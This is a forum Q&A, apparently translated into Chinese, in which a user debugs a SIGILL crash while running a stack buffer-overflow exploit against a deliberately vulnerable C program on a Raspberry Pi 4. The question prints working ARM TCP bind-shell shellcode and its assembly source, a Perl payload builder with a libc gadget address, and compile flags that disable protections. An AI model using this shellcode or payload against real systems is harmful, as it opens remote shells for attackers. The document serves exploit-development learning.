如何利用 Raspberry Pi 4 上的缓冲区溢出?

信息安全 缓冲区溢出 树莓派
2021-08-31 01:27:23

我正在尝试在使用 Cortex-A72 (ARM v8) 64 位 SoC 的树莓派 4 上利用缓冲区溢出。linux 内核版本是 v4.19,操作系统是为 raspberry pi arm 架构编译的 Debian Buster。

易受攻击的代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

编译选项
上面的代码是在所有保护被禁用的情况下编译的。

gcc -no-pie -Wl,-z,norelro -fno-stack-protector -z execstack program.c -o program

在此处输入图像描述

有效负载
有效负载是使用以下 perl 代码生成的:

#!/usr/local/bin/perl

$nopsled = "\x01\x10\xa0\xe1";
$gad_blx_sp = "\xD5\xAF\xE7\xB6"; # adress for gadget "blx sp" in libc

$Shellcode= "\x06\x60\x46\xe0" .
"\x01\x30\x8f\xe2" .
"\x13\xff\x2f\xe1" .
"\x02\x20\x01\x21" .
"\x92\x1a\xc8\x27" .
"\x51\x37\x01\xdf" .
"\x04\x1c\x12\xa1" .
"\x4a\x70\x0e\x71" .
"\x4a\x71\x8a\x71" .
"\xca\x71\x10\x22" .
"\x01\x37\x01\xdf" .
"\xc0\x46\x20\x1c" .
"\x02\x21\x02\x37" .
"\x01\xdf\x20\x1c" .
"\x49\x1a\x92\x1a" .
"\x01\x37\x01\xdf" .
"\x04\x1c\x3f\x27" .
"\x20\x1c\x49\x1a" .
"\x01\xdf\x20\x1c" .
"\x01\x31\x01\xdf" .
"\x20\x1c\x01\x31" .
"\x01\xdf\x05\xa0" .
"\x49\x40\x52\x40" .
"\xc2\x71\x0b\x27" .
"\x01\xdf\xc0\x46" .
"\x02\xff\x11\x5c" .
"\x01\x01\x01\x01" .
"\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x58" .
"\x00\x00\x00\x00";

print "$nopsled" x 17; # 4 bytes x 17 = 68
print "$gad_blx_sp";
print "$Shellcode";

通过使用 ropper 搜索找到 libc 中的小工具位置(B6E7 AFD5 in big endian):

Blx 小工具地址

它在执行期间的绝对地址可以通过将其添加到使用 gdb 增强工具 gef 中的 Vmmap 命令找到的地址中来计算:

Gef vmmap 命令


Shellcode 您可以在上面的 perl 中看到的 shellcode 是用您可以在 Azeria 的网站上找到的汇编代码组装而成的我对其进行了一些更改以避免出现 badchar。来自 Azeria 的更多详细信息,请访问她令人惊叹的网站https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/

.section .text
.global _start
    _start:
    .ARM
    sub r6, r6, r6     //use r6 used instead of r2 during strb r6, [r1, #4] below to avoid badchar 0x0a
    add r3, pc, #1         // switch to thumb mode
    bx r3

    .THUMB
// socket(2, 1, 0)
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2      // set r2 to null
    mov r7, #200        // r7 = 281 (socket)
    add r7, #81         // r7 value needs to be split
    svc #1              // r0 = host_sockid value
    mov r4, r0          // save host_sockid in r4
// bind(r0, &sockaddr, 16)
    adr  r1, struct_addr // pointer to address, port
    strb r2, [r1, #1]    // write 0 for AF_INET
    strb r6, [r1, #4]    // replace 1 with 0 in x.1.1.1
    strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1
    strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1
    strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x
    mov r2, #16          // struct address length
    add r7, #1           // r7 = 282 (bind)
    svc #1
    nop

// listen(sockfd, 0)
    mov r0, r4           // set r0 to saved host_sockid
    mov r1, #2
    add r7, #2           // r7 = 284 (listen syscall number)
    svc #1

// accept(sockfd, NULL, NULL);
    mov r0, r4           // set r0 to saved host_sockid
    sub r1, r1, r1       // set r1 to null
    sub r2, r2, r2       // set r2 to null
    add r7, #1           // r7 = 284+1 = 285 (accept syscall)
    svc #1               // r0 = client_sockid value
    mov r4, r0           // save new client_sockid value to r4

// dup2(sockfd, 0)
    mov r7, #63         // r7 = 63 (dup2 syscall number)
    mov r0, r4          // r4 is the saved client_sockid
    sub r1, r1, r1      // r1 = 0 (stdin)
    svc #1

// dup2(sockfd, 1)
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 1 (stdout)
    svc #1

// dup2(sockfd, 2)
    mov r0, r4          // r4 is the saved client_sockid
    add r1, #1          // r1 = 2 (stderr)
    svc #1

// execve("/bin/sh", 0, 0)
    adr r0, shellcode   // r0 = location of "/bin/shX"
    eor r1, r1, r1      // clear register r1. R1 = 0
    eor r2, r2, r2      // clear register r2. r2 = 0
    strb r2, [r0, #7]   // store null-byte for AF_INET
    mov r7, #11         // execve syscall number
    svc #1
    nop

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 1,1,1,1 // IP Address
shellcode:
.ascii "/bin/shX"

以下命令可用于在汇编后生成与上述代码等效的 ascii:

as bind_shell.s -o bind_shell.o && ld -N bind_shell.o -o bind_shell
objcopy -O binary bind_shell bind_shell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' bind_shell.bin 

执行期间
现在,当我在启动可执行文件后输入有效负载时,在 gdb 中设置了所有内容(已编译可执行文件,有效负载已准备好小工具地址和 shellcode),我收到 SIGILL 错误。我不知道是什么原因造成的。

Sigill 错误信息

下面是一些异常上下文信息

印记上下文信息

有效载荷在 Raspberry Pi 3 上运行良好,但在 Raspberry Pi 4 上运行良好,两者都执行内核 4.19 和 Os Raspbian Buster。

注意:当我进入堆栈上的 shellcode 时,我没有收到这个错误。

问题:有人知道 SOC/内核/操作系统上的新保护措施可能是什么原因吗?如何停用这些安全措施?

1个回答

这不是保护措施引起的问题。您遇到了非法指令,并且该进程正在获得 SIGILL。

r3 == 0x0运行时注意add r3, pc + #1(字节码:)\x01\x30\x8f\xe2这将设置r30xbefff46e (pc + 1),这不是一个对齐的偶数 32 位地址,而且,它将指向一个非法指令字节码 ( \x30\x8f\xe2\x13),就在分支到它之前 ( bx r3)。

也许r3在到达 shellcode 时预计不会为零,或者由于某些其他原因,调试器正在弄乱寄存器或避免切换到 thumb。

逐步跟踪,直到您在两个 CPU 中都达到这一点并比较寄存器值以进一步了解这一点。

希望这有帮助,祝你好运!